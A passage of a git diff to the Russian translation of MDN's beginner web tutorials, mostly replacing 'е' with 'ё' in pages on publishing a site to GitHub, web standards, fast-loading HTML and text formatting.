href="http://git-scm.com/">Git</a> - <strong>систему контроля версий. </strong>По умолчанию все разработки хранятся с открытым исходным кодом, а это значит, что ваш код будет доступен любому - участники могут по нему учиться либо же предлагать свои улучшения. Вы также можете объединяться с другими кодерами! Это очень большое и полезное сообщество, в чьи ряды лучше вступить, и Git/GitHub это очень популярная <a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">система контроля версий</a> — большинство компаний сейчас использует ее для работы. GitHub имеет очень полезную функцию <a href="https://pages.github.com/">GitHub pages</a>, с помощью которой вы сможете опубликовать ваш код (ваш сайт) в интернете.</li> + <li><a href="https://github.com/">GitHub</a> - это "социальная сеть программистов". С помощью неё можно загружать репозитории с вашими разработками для хранения в <a href="http://git-scm.com/">Git</a> - <strong>систему контроля версий. </strong>По умолчанию все разработки хранятся с открытым исходным кодом, а это значит, что ваш код будет доступен любому - участники могут по нему учиться либо же предлагать свои улучшения. Вы также можете объединяться с другими кодерами! Это очень большое и полезное сообщество, в чьи ряды лучше вступить, и Git/GitHub это очень популярная <a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">система контроля версий</a> — большинство компаний сейчас использует её для работы. GitHub имеет очень полезную функцию <a href="https://pages.github.com/">GitHub pages</a>, с помощью которой вы сможете опубликовать ваш код (ваш сайт) в интернете.</li> <li><a href="https://cloud.google.com/appengine/" title="App Engine - Build Scalable Web & Mobile Backends in Any Language | Google Cloud Platform">Google App Engine</a> - это мощная платформа, которая позволяет создавать и запускать приложения в инфраструктуре Google — нужно ли вам создать многоуровневое веб-приложение с нуля или разместить статический веб-сайт. Смотрите <a href="https://developer.mozilla.org/ru/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">как разместить ваш веб-сайт на Google App Engine</a> чтобы узнать больше информации.</li> </ul> @@ -107,7 +107,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website <p><span id="command-line">У всех операционных систем есть командная строка:</span></p> <ul> - <li><strong>Windows</strong>: <strong>Командная строка. </strong>Чтобы открыть её нажмите клавишу Windows, затем введите <em>Командная строка </em>в поле поиска, и выберите её в появившемся списке. Заметьте, что Windows имеет свои собственные соглашения команд, отличные от Linux и OS X, поэтому приведенные ниже команды могут отличаться на вашем компьютере.</li> + <li><strong>Windows</strong>: <strong>Командная строка. </strong>Чтобы открыть её нажмите клавишу Windows, затем введите <em>Командная строка </em>в поле поиска, и выберите её в появившемся списке. Заметьте, что Windows имеет свои собственные соглашения команд, отличные от Linux и OS X, поэтому приведённые ниже команды могут отличаться на вашем компьютере.</li> <li><strong>OS X</strong>: <strong>Terminal</strong> можно найти в <em>Приложения > Утилиты</em>.</li> <li><strong>Linux</strong>: Обычно вы можете вытащить терминал с помощью Ctrl + Alt + T. Если это не сработает, найдите <strong>Терминал</strong> в панели приложений или меню.</li> </ul> @@ -115,14 +115,14 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website <p>Сначала это может показаться немного страшным, но не волнуйтесь - вы скоро освоите основы. Вы говорите компьютеру сделать что-то в терминале, введя команду и нажав Enter.</p> <ol> - <li>Укажите в командной строке каталог <code>test-site</code> (или другое название каталога, содержащего ваш сайт). Для этого используйте команду <code>cd</code> (т.е. «change directory»). Вот то, что вы наберете, если разместили свой веб-сайт в каталоге под названием <code>test-site</code> на рабочем столе: + <li>Укажите в командной строке каталог <code>test-site</code> (или другое название каталога, содержащего ваш сайт). Для этого используйте команду <code>cd</code> (т.е. «change directory»). Вот то, что вы наберёте, если разместили свой веб-сайт в каталоге под названием <code>test-site</code> на рабочем столе: <pre class="brush: bash notranslate">cd Desktop/test-site</pre> </li> <li>Когда командная строка указывает внутрь вашего каталога веб-сайта, введите следующую команду, которая сообщает инструменту <code>git</code>, чтобы он превратил каталог в репозиторий git: <pre class="brush: bash notranslate">git init</pre> </li> - <li>Далее вернемся к сайту GitHub. На текущей странице вас интересует раздел "…or push an existing repository from the command line". Вы должны увидеть две строки кода в этом разделе. Скопируйте всю первую строку, вставьте ее в командную строку и нажмите Enter. Команда должна выглядеть примерно так: + <li>Далее вернёмся к сайту GitHub. На текущей странице вас интересует раздел "…or push an existing repository from the command line". Вы должны увидеть две строки кода в этом разделе. Скопируйте всю первую строку, вставьте её в командную строку и нажмите Enter. Команда должна выглядеть примерно так: <pre class="brush: bash notranslate">git remote add origin https://github.com/bobsmith/bobsmith.github.io.git</pre> </li> <li>Далее введите следующие две команды, нажимая Enter после каждой. Это подготовит код к загрузке на GitHub, и укажет Git управлять этими файлами. @@ -132,7 +132,7 @@ git commit -m 'adding my files to my repository'</pre> <li>Наконец, загрузите код на GitHub - вернитесь на веб-страницу GitHub, на которой вы находились, и введите в терминал команду: <pre class="brush: bash notranslate">git push -u origin master</pre> </li> - <li>Теперь, когда вы перейдете по веб-адресу, созданному в GitHub, в новом окне браузера (<em>username.github.io</em>), вы увидите ваш сайт онлайн! Разошлите ссылку вашим друзьям, пусть оценят ваше мастерство.</li> + <li>Теперь, когда вы перейдёте по веб-адресу, созданному в GitHub, в новом окне браузера (<em>username.github.io</em>), вы увидите ваш сайт онлайн! Разошлите ссылку вашим друзьям, пусть оценят ваше мастерство.</li> </ol> <div class="note"> @@ -141,7 +141,7 @@ git commit -m 'adding my files to my repository'</pre> <h3 id="Дальнейшее_изучение_GitHub">Дальнейшее изучение GitHub</h3> -<p>Если вы хотите сделать больше изменений на своем тестовом сайте и загрузить их в GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:</p> +<p>Если вы хотите сделать больше изменений на своём тестовом сайте и загрузить их в GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:</p> <pre class="notranslate">git add --all git commit -m 'another commit' @@ -163,7 +163,7 @@ git push</pre> <li><a href="https://developer.mozilla.org/ru/docs/Learn/%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_%D0%B2%D0%B5%D0%B1_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">Что такое веб-сервер?</a></li> <li><a href="https://developer.mozilla.org/ru/docs/Learn/Understanding_domain_names">Что такое доменные имена?</a></li> <li><a href="/en-US/Learn/How_much_does_it_cost">Сколько стоит сделать что-то в Интернете?</a></li> - <li><a href="https://www.codecademy.com/learn/deploy-a-website">Развертывание сайта</a>: хороший курс от Codecademy, который забегает немного вперёд и показывает некоторые дополнительные техники.</li> + <li><a href="https://www.codecademy.com/learn/deploy-a-website">Развёртывание сайта</a>: хороший курс от Codecademy, который забегает немного вперёд и показывает некоторые дополнительные техники.</li> <li><a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or Free Static Website Hosting</a>, статья написанная Скоттом Мюрреем содержит некоторые полезные идеи о доступных сервисах.</li> </ul> diff --git a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html index 7c74a04194..e7ab712e26 100644 --- a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html +++ b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html @@ -31,7 +31,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда <p dir="ltr"><strong>Веб-стандарты</strong> - это технологии, используемые для создания веб страниц. Стандарты существуют в виде технической документации (спецификаций), которая точно описывает как та, или иная технология должна работать. Документация никак не поможет изучить то, как пользоваться описываемыми в ней технологиями (вот почему существует сайт MDN Web Docs). Она используются разработчиками ПО для внедрения технологий (например, в веб браузеры).</p> -<p dir="ltr">В качестве примера приведем стандарт <a href="https://html.spec.whatwg.org/multipage/">HTML Living Standard</a>. Он описывает как HTML (все элементы HTML, связанные с ними API и остальные близкие технологии) должны быть реализованы.</p> +<p dir="ltr">В качестве примера приведём стандарт <a href="https://html.spec.whatwg.org/multipage/">HTML Living Standard</a>. Он описывает как HTML (все элементы HTML, связанные с ними API и остальные близкие технологии) должны быть реализованы.</p> <p dir="ltr">Веб-стандарты создаются организациями стандартов — институтами, которые приглашают группы людей из различных компаний для согласования того, как технологии должны применяться наиболее эффективным образом в рассматриваемых случаях. Самая известная организация веб-стандартов - W3C. Существуют и другие: <a href="https://whatwg.org/">WHATWG</a> (ответственны за модернизацию языка html), <a href="https://www.ecma-international.org/">ECMA</a> (выпускают стандарты языка ECMAScript, на котором построен JavaScript), <a href="https://www.khronos.org/">Khronos</a> (создают технологии для 3D графики, например WebGL).</p> @@ -45,7 +45,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда <h3 dir="ltr" id="Не_разорви_сеть">Не разорви сеть</h3> -<p dir="ltr">Популярная в области веб-стандартов фраза гласит: "не разорви сеть". Это означает, что каждая новая веб-технология должна быть совместима со всеми предыдущими технологиями (поэтому старые сайты до сих пор работают), и со всеми последующими (разрабатываемые в последствии технологии, в свою очередь, должны быть совместимы с имеющимися). В процессе изучения представленного здесь материала вы начнете понимать каким образом это реализуется.</p> +<p dir="ltr">Популярная в области веб-стандартов фраза гласит: "не разорви сеть". Это означает, что каждая новая веб-технология должна быть совместима со всеми предыдущими технологиями (поэтому старые сайты до сих пор работают), и со всеми последующими (разрабатываемые в последствии технологии, в свою очередь, должны быть совместимы с имеющимися). В процессе изучения представленного здесь материала вы начнёте понимать каким образом это реализуется.</p> <h2 id="Being_a_web_developer_is_good">Being a web developer is good</h2> diff --git a/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html index c6ef10460d..69be6b47d2 100644 --- a/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html +++ b/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html @@ -26,7 +26,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l <h2 id="Перво-наперво_планирование">Перво-наперво: планирование</h2> -<p>Перед тем как делать что-то, вам нужны идеи. Что ваш веб-сайт должен фактически делать? По существу, ваш веб-сайт может делать все, что угодно, но для вашей первой попытки, вы должны придерживаться простых вещей. Мы начнем с создания простой веб-страницы, содержащую заголовок, изображение и несколько абзацев.</p> +<p>Перед тем как делать что-то, вам нужны идеи. Что ваш веб-сайт должен фактически делать? По существу, ваш веб-сайт может делать все, что угодно, но для вашей первой попытки, вы должны придерживаться простых вещей. Мы начнём с создания простой веб-страницы, содержащую заголовок, изображение и несколько абзацев.</p> <p>Для начала, вам будет нужно ответить на следующие вопросы:</p> @@ -71,7 +71,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l <p>Чтобы выбрать изображение, перейдите в <a href="https://www.google.com/imghp?gws_rd=ssl">Google Картинки</a> и найдите что-нибудь подходящее.</p> <ol> - <li>Когда вы найдете изображение, которое хотели, щёлкните по нему.</li> + <li>Когда вы найдёте изображение, которое хотели, щёлкните по нему.</li> <li>Нажмите кнопку <em>В полном размере (View image)</em>.</li> <li>На следующей странице, правым щелчком мыши на изображении (Ctrl + клик на Mac), выберите Сохранить изображение как... (<em>Save Image As...)</em>, и выберите место для сохранения вашего изображения. В качестве альтернативы, скопируйте адрес изображения из адресной строки браузера для последующего использования.</li> </ol> @@ -91,7 +91,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l <p>Чтобы выбрать шрифт:</p> <ol> - <li>Перейдите на <a href="http://www.google.com/fonts">Google Fonts</a> и прокрутите список вниз, пока не найдете шрифт, который вам понравится. Вы также можете использовать элементы управления справа для дальнейшей фильтрации результатов.</li> + <li>Перейдите на <a href="http://www.google.com/fonts">Google Fonts</a> и прокрутите список вниз, пока не найдёте шрифт, который вам понравится. Вы также можете использовать элементы управления справа для дальнейшей фильтрации результатов.</li> <li>Щёлкните по кнопке "плюс" рядом со шрифтом, который вы хотите выбрать.</li> <li>Щёлкните по кнопке "* Family Selected" на панели в нижней части страницы. ("*" зависит от того, сколько шрифтов вы выбрали)</li> <li>В всплывающем окне вы можете увидеть и скопировать строки кода, которые предоставляет Google, чтобы сохранить их позже в вашем текстовом редакторе.</li> diff --git a/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html b/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html index 2c51073d15..5cbf27d355 100644 --- a/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html +++ b/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html @@ -6,7 +6,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages --- <p>Эти советы основаны на общих знаниях и экспериментах.</p> -<p>Оптимизированная веб-страница не только обеспечивает более отзывчивый сайт для ваших посетителей, но также снижает нагрузку на ваши веб-серверы и интернет-соединения. Это может иметь решающее значение для сайтов с большим объемом или сайтов, которые имеют всплеск трафика из-за необычных обстоятельств, таких как последние новости</p> +<p>Оптимизированная веб-страница не только обеспечивает более отзывчивый сайт для ваших посетителей, но также снижает нагрузку на ваши веб-серверы и интернет-соединения. Это может иметь решающее значение для сайтов с большим объёмом или сайтов, которые имеют всплеск трафика из-за необычных обстоятельств, таких как последние новости</p> <p>Оптимизация производительности загрузки страницы нужна не только для контента, который будет просматриваться узкополосным модемом или посетителями мобильных устройств. Это так же важно для широкополосного контента и может привести к значительным улучшениям даже для ваших посетителей с самыми быстрыми подключениями.</p> @@ -16,7 +16,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages <p>Веб-страницы - безусловно, самый важный фактор в производительности загрузки страницы.</p> -<p>Уменьшение веса страницы за счет устранения ненужных пробелов и комментариев, широко известна как минимизация, и перемещая встроенный скрипт и CSS во внешние файлы, можно улучшить производительность загрузки с минимальными потребностями в других изменениях в структуре страницы.</p> +<p>Уменьшение веса страницы за счёт устранения ненужных пробелов и комментариев, широко известна как минимизация, и перемещая встроенный скрипт и CSS во внешние файлы, можно улучшить производительность загрузки с минимальными потребностями в других изменениях в структуре страницы.</p> <p>Такие инструменты, как <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> , могут автоматически убирать начальные пробелы и лишние пустые строки из допустимого источника HTML. Другие инструменты могут «сжимать» JavaScript, переформатируя источник или запутывая источник и заменяя длинные идентификаторы на более короткие версии</p> @@ -24,15 +24,15 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages <p>Уменьшение количества файлов, на которые есть ссылки на веб-странице, уменьшает количество HTTP-соединений, необходимых для загрузки страницы, тем самым сокращая время отправки этих запросов и получения их ответов.</p> -<p>В зависимости от настроек кэша браузера он может отправить запрос с заголовком <code>If-Modified-Since</code> для каждого ссылочного файла, спрашивая, был ли файл изменен с момента последней загрузки. Слишком много времени, затрачиваемое на запрос времени последнего изменения указанных файлов, может задержать первоначальное отображение веб-страницы, так как браузер должен проверить время изменения каждого из этих файлов перед отображением страницы.</p> +<p>В зависимости от настроек кэша браузера он может отправить запрос с заголовком <code>If-Modified-Since</code> для каждого ссылочного файла, спрашивая, был ли файл изменён с момента последней загрузки. Слишком много времени, затрачиваемое на запрос времени последнего изменения указанных файлов, может задержать первоначальное отображение веб-страницы, так как браузер должен проверить время изменения каждого из этих файлов перед отображением страницы.</p> -<p>Если вы часто используете фоновые изображения в своем CSS, вы можете уменьшить количество запросов на поиск HTTP, объединив изображения в одно, называемое спрайтом изображения. Затем вы просто применяете одно и то же изображение каждый раз, когда вам это нужно для фона, и соответственно корректируете координаты x / y. Этот метод лучше всего работает с элементами, которые будут иметь ограниченные размеры, и не будет работать для каждого использования фонового изображения. Тем не менее, меньшее количество HTTP-запросов и кэширование одного изображения может помочь сократить время загрузки страницы.</p> +<p>Если вы часто используете фоновые изображения в своём CSS, вы можете уменьшить количество запросов на поиск HTTP, объединив изображения в одно, называемое спрайтом изображения. Затем вы просто применяете одно и то же изображение каждый раз, когда вам это нужно для фона, и соответственно корректируете координаты x / y. Этот метод лучше всего работает с элементами, которые будут иметь ограниченные размеры, и не будет работать для каждого использования фонового изображения. Тем не менее, меньшее количество HTTP-запросов и кэширование одного изображения может помочь сократить время загрузки страницы.</p> <h3 id="Используйте_сеть_доставки_(и_дистрибуции)_содержимого_(Content_Delivery_Network_(CDN))"><strong>Используйте сеть доставки (и дистрибуции) содержимого (</strong>Content Delivery Network (CDN)<strong>)</strong></h3> -<p>Для целей этой статьи CDN - это средство уменьшения физического расстояния между вашим сервером и вашим посетителем. По мере увеличения расстояния между вашим сервером и посетителем время загрузки будет увеличиваться. Предположим, ваш сервер веб-сайта находится в Соединенных Штатах и имеет посетителя из Индии; время загрузки страницы будет намного выше для индийского посетителя по сравнению с посетителем из США.</p> +<p>Для целей этой статьи CDN - это средство уменьшения физического расстояния между вашим сервером и вашим посетителем. По мере увеличения расстояния между вашим сервером и посетителем время загрузки будет увеличиваться. Предположим, ваш сервер веб-сайта находится в Соединённых Штатах и имеет посетителя из Индии; время загрузки страницы будет намного выше для индийского посетителя по сравнению с посетителем из США.</p> -<p>CDN - это географически распределенная сеть серверов, которые работают вместе, чтобы сократить расстояние между пользователем и вашим сайтом. CDN хранят кэшированные версии вашего веб-сайта и предоставляют их посетителям через ближайший к пользователю сетевой узел, тем самым снижая задержку</p> +<p>CDN - это географически распределённая сеть серверов, которые работают вместе, чтобы сократить расстояние между пользователем и вашим сайтом. CDN хранят кэшированные версии вашего веб-сайта и предоставляют их посетителям через ближайший к пользователю сетевой узел, тем самым снижая задержку</p> <p>Дальнейшее чтение:</p> @@ -50,7 +50,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages <p>Убедитесь, что любой контент, который может быть кэширован, кэширован и имеет подходящее время истечения.</p> -<p>В частности, обратите внимание на заголовок <code>Last-Modified</code>. Это позволяет эффективно кэшировать страницы; с помощью этого заголовка агенту пользователя передается информация о файле, который он хочет загрузить, например, когда он был последний раз изменен. Большинство веб-серверов автоматически добавляют заголовок <code>Last-Modified</code> к статическим страницам (напр. <code>.html</code>, <code>.css</code>), на основе даты последнего изменения, хранящейся в файловой системе. С динамическими страницами (напр. <code>.php</code>, <code>.aspx</code>), это, конечно, не может быть сделано, и заголовок не отправляется.</p> +<p>В частности, обратите внимание на заголовок <code>Last-Modified</code>. Это позволяет эффективно кэшировать страницы; с помощью этого заголовка агенту пользователя передаётся информация о файле, который он хочет загрузить, например, когда он был последний раз изменён. Большинство веб-серверов автоматически добавляют заголовок <code>Last-Modified</code> к статическим страницам (напр. <code>.html</code>, <code>.css</code>), на основе даты последнего изменения, хранящейся в файловой системе. С динамическими страницами (напр. <code>.php</code>, <code>.aspx</code>), это, конечно, не может быть сделано, и заголовок не отправляется.</p> <p>Так, в частности, для страниц, которые генерируются динамически, небольшое исследование по этой теме полезно. Это может быть несколько сложным, но это сэкономит много запросов страниц на страницах, которые обычно не могут быть кэшированы.</p> @@ -64,9 +64,9 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages <h3 id="Optimally_order_the_components_of_the_page" name="Optimally_order_the_components_of_the_page">Оптимально размещайте компоненты на странице</h3> -<p>Сначала загрузите содержимое страницы вместе с любым CSS или JavaScript, которые могут потребоваться для его первоначального отображения, чтобы пользователь получил самый быстрый очевидный ответ во время загрузки страницы. Этот контент, как правило, представляет собой текст, и поэтому может получить выгоду от сжатия текста при передаче, что обеспечивает еще более быстрый отклик для пользователя.</p> +<p>Сначала загрузите содержимое страницы вместе с любым CSS или JavaScript, которые могут потребоваться для его первоначального отображения, чтобы пользователь получил самый быстрый очевидный ответ во время загрузки страницы. Этот контент, как правило, представляет собой текст, и поэтому может получить выгоду от сжатия текста при передаче, что обеспечивает ещё более быстрый отклик для пользователя.</p> -<p>Любые динамические функции, требующие полной загрузки страницы перед использованием, должны быть изначально отключены, а затем включены только после загрузки страницы. Это приведет к загрузке JavaScript после содержимого страницы, что улучшит общий вид загрузки страницы.</p> +<p>Любые динамические функции, требующие полной загрузки страницы перед использованием, должны быть изначально отключены, а затем включены только после загрузки страницы. Это приведёт к загрузке JavaScript после содержимого страницы, что улучшит общий вид загрузки страницы.</p> <h3 id="Reduce_the_number_of_inline_scripts" name="Reduce_the_number_of_inline_scripts">Уменьшайте количество встроенных скриптов</h3> @@ -78,7 +78,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages <p>Использование корректной разметки имеет следующие преимущества. Во-первых, браузерам не нужно выполнять исправление ошибок при разборе HTML (это помимо философской проблемы: разрешить ли изменение формата при вводе пользователем, а затем программно «исправить» или нормализовать его; или вместо этого обеспечить строгий формат ввода без допусков).</p> -<p>Кроме того, корректная разметка позволяет спокойно использовать другие инструменты, которые могут предварительно обрабатывать ваши веб-страницы. Например, <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> может удалить пробелы и необязательные конечные теги; однако он откажется запускать страницу с серьезными ошибками разметки</p> +<p>Кроме того, корректная разметка позволяет спокойно использовать другие инструменты, которые могут предварительно обрабатывать ваши веб-страницы. Например, <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> может удалить пробелы и необязательные конечные теги; однако он откажется запускать страницу с серьёзными ошибками разметки</p> <h3 id="Chunk_your_content" name="Chunk_your_content">Разделяйте ваш контент</h3> @@ -136,7 +136,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages <p>Сделайте сценарии JavaScript такими, чтобы они были совместимы как с async, так и с defer, и по возможности используйте async, особенно если у вас есть несколько тегов script.</p> -<p>При этом страница может перестать отображаться, пока JavaScript все еще загружается. В противном случае браузер не будет отображать ничего после тегов сценария, которые не имеют этих атрибутов.</p> +<p>При этом страница может перестать отображаться, пока JavaScript все ещё загружается. В противном случае браузер не будет отображать ничего после тегов сценария, которые не имеют этих атрибутов.</p> <p>Примечание. Несмотря на то, что эти атрибуты очень помогают при первой загрузке страницы, вы должны использовать их, но не предполагать, что они будут работать во всех браузерах. Если вы уже следуете всем рекомендациям JavaScript, вам не нужно менять код.</p> diff --git a/files/ru/learn/html/howto/index.html b/files/ru/learn/html/howto/index.html index c4f9f46583..79ecb8bac7 100644 --- a/files/ru/learn/html/howto/index.html +++ b/files/ru/learn/html/howto/index.html @@ -77,13 +77,13 @@ original_slug: Learn/HTML/Рецепты <h2 id="Необычные_или_продвинутые_проблемы">Необычные или продвинутые проблемы</h2> -<p>Помимо основ, HTML очень богат и предлагает расширенные возможности для решения сложных проблем. Эти статьи помогут вам разобраться с менее распространенными случаями использования, с которыми вы можете столкнуться:</p> +<p>Помимо основ, HTML очень богат и предлагает расширенные возможности для решения сложных проблем. Эти статьи помогут вам разобраться с менее распространёнными случаями использования, с которыми вы можете столкнуться:</p> <div class="column-container"> <div class="column-half"> <h3 id="Формы">Формы</h3> -<p>Форма это сложная HTML структура предназначенная для отправки данных с веб-страницы на веб-сервер. Мы призываем вас просмотреть наше полное посвященное руководство. Вот где вы должны начать:</p> +<p>Форма это сложная HTML структура предназначенная для отправки данных с веб-страницы на веб-сервер. Мы призываем вас просмотреть наше полное посвящённое руководство. Вот где вы должны начать:</p> <ul> <li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">Как создать простую Веб-форму</a></li> diff --git a/files/ru/learn/html/index.html b/files/ru/learn/html/index.html index 0727a2b8bd..724e99ac8a 100644 --- a/files/ru/learn/html/index.html +++ b/files/ru/learn/html/index.html @@ -19,7 +19,7 @@ translation_of: Learn/HTML <h2 id="Путь_обучения_(образовательная_траектория)">Путь обучения (образовательная траектория)</h2> -<p>В идеале вы должны начать свое учебное путешествие с изучения HTML. Начните с прочтения раздела <a href="/ru/docs/Web/Guide/HTML/Introduction">"Введение в HTML"</a>. Затем вы можете перейти к изучению более продвинутых тем, таких как:</p> +<p>В идеале вы должны начать своё учебное путешествие с изучения HTML. Начните с прочтения раздела <a href="/ru/docs/Web/Guide/HTML/Introduction">"Введение в HTML"</a>. Затем вы можете перейти к изучению более продвинутых тем, таких как:</p> <ul> <li><a href="/ru/docs/Learn/CSS">"CSS (Каскадные таблицы стилей)"</a>, и как их использовать для оформления (стилизации) HTML-документа (например, изменение шрифта и его размера, добавление границы и теней для элементов, разбиение страницы на несколько столбцов, добавление анимации и других визуальных эффектов).</li> @@ -36,19 +36,19 @@ translation_of: Learn/HTML <dl> <dt><a href="/ru/docs/Learn/HTML/Введение_в_HTML">Введение в HTML</a></dt> - <dd>Этот модуль дает основу, которая позволит вам использовать важные понятия и синтаксис, вы рассмотрите применение HTML к тексту, узнаете как создать гиперссылки и как использовать HTML для структурирования веб-страницы.</dd> + <dd>Этот модуль даёт основу, которая позволит вам использовать важные понятия и синтаксис, вы рассмотрите применение HTML к тексту, узнаете как создать гиперссылки и как использовать HTML для структурирования веб-страницы.</dd> <dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding">Мультимедиа и встраивание</a></dt> <dd>В этом модуле рассматривается использование HTML для подключения мультимедиа-контента к вашим веб-страницам, включая различные способы встраивания изображений, видео и аудио и даже других веб-страниц.</dd> <dt> </dt> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Tables">HTML Таблицы</a></dt> <dd>Представление табличных данных на веб-странице в понятном, {{glossary("Accessibility", "доступном")}} образе, может стать проблемой. Этот модуль описывает основы табличной разметки, а также более сложные функции, такие как реализация подписок и резюме.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms">HTML Формы</a></dt> - <dd>Формы - очень важная часть интернета, они обеспечивают большую часть функциональных возможностей, необходимых для взаимодействия с веб-сайтом, например, регистрация и вход в систему, отправка отзывов, покупка продуктов и многое другое. В этом модуле вы начнете с создания частей форм на стороне клиента.</dd> + <dd>Формы - очень важная часть интернета, они обеспечивают большую часть функциональных возможностей, необходимых для взаимодействия с веб-сайтом, например, регистрация и вход в систему, отправка отзывов, покупка продуктов и многое другое. В этом модуле вы начнёте с создания частей форм на стороне клиента.</dd> </dl> <h2 id="Решение_общих_HTML_задач">Решение общих HTML задач</h2> -<p><a href="/ru/docs/Learn/HTML/Howto">Использование HTML для решения общих задач</a> содержит ссылки на разделы контента, объясняющего, как использовать HTML для решения очень распространенных проблем при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение содержимого, создание базовой формы и т.д.</p> +<p><a href="/ru/docs/Learn/HTML/Howto">Использование HTML для решения общих задач</a> содержит ссылки на разделы контента, объясняющего, как использовать HTML для решения очень распространённых проблем при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение содержимого, создание базовой формы и т.д.</p> <h2 id="Смотрите_также">Смотрите также:</h2> diff --git a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html index 3e05c04ea4..4f401ed57b 100644 --- a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html +++ b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -1,5 +1,5 @@ --- -title: Углубленное форматирование текста +title: Углублённое форматирование текста slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting tags: - Beginner @@ -215,9 +215,9 @@ textarea.onkeyup = function(){ <h3 id="Блочные_цитаты">Блочные цитаты</h3> -<p>Если часть содержимого уровня блока (будь то абзац, несколько абзацев, список и т. д.) цитируется из другого источника, вы должны обернуть ее внутри элемента {{htmlelement ("blockquote")}}, чтобы обозначить это, и указать URL-адрес, указывающий на источник цитаты, внутри атрибута {{htmlattrxref ("cite", "blockquote")}}.</p> +<p>Если часть содержимого уровня блока (будь то абзац, несколько абзацев, список и т. д.) цитируется из другого источника, вы должны обернуть её внутри элемента {{htmlelement ("blockquote")}}, чтобы обозначить это, и указать URL-адрес, указывающий на источник цитаты, внутри атрибута {{htmlattrxref ("cite", "blockquote")}}.</p> -<p class="syntaxbox">Например, следующая разметка берется из страницы элемента MDN <code><strong><blockquote></strong></code>:</p> +<p class="syntaxbox">Например, следующая разметка берётся из страницы элемента MDN <code><strong><blockquote></strong></code>:</p> <pre class="brush: html notranslate"><p><strong>HTML-элемент<code>&lt;blockquote&gt;</code></strong> (от англ. <em>HTML Block Quotation Element</em>) указывает на то, что заключённый в нём текст является развёрнутой цитатой.</p></pre> @@ -241,7 +241,7 @@ Quotation Element</em>) указывает на то, что заключ <pre class="brush: html notranslate"><p>Элемент цитирования — <code>&lt;q&gt;</code> — <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">предназначен для коротких цитат, не требующих прерывания абзаца</q>.</p></pre> -<p>Стиль браузера по умолчанию будет отображать это как обычный текст, заключенный в кавычки для обозначения цитаты, например:</p> +<p>Стиль браузера по умолчанию будет отображать это как обычный текст, заключённый в кавычки для обозначения цитаты, например:</p> <p>Элемент цитирования — <code><q></code> — <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">предназначен для коротких цитат, не требующих прерывания абзаца</q>.</p> @@ -424,7 +424,7 @@ textarea.onkeyup = function(){ <p>Я думаю, <abbr title="Почтенный">Почт.</abbr> Грин сделал это на кухне с бензопилой.</p> <div class="note"> -<p><strong>Примечание:</strong> Существует еще один элемент {{htmlelement ("acronym")}}, который в основном делает то же самое, что и <code><abbr></code>, но предназначен специально для акронимов (тип аббревиатур). Это, однако, было излишним, — он не поддерживается в браузерах на том же уровне, что <code><abbr></code>, и имеет такую же функциональность, поэтому считается бессмысленным иметь оба. Просто используйте <code><abbr></code>.</p> +<p><strong>Примечание:</strong> Существует ещё один элемент {{htmlelement ("acronym")}}, который в основном делает то же самое, что и <code><abbr></code>, но предназначен специально для акронимов (тип аббревиатур). Это, однако, было излишним, — он не поддерживается в браузерах на том же уровне, что <code><abbr></code>, и имеет такую же функциональность, поэтому считается бессмысленным иметь оба. Просто используйте 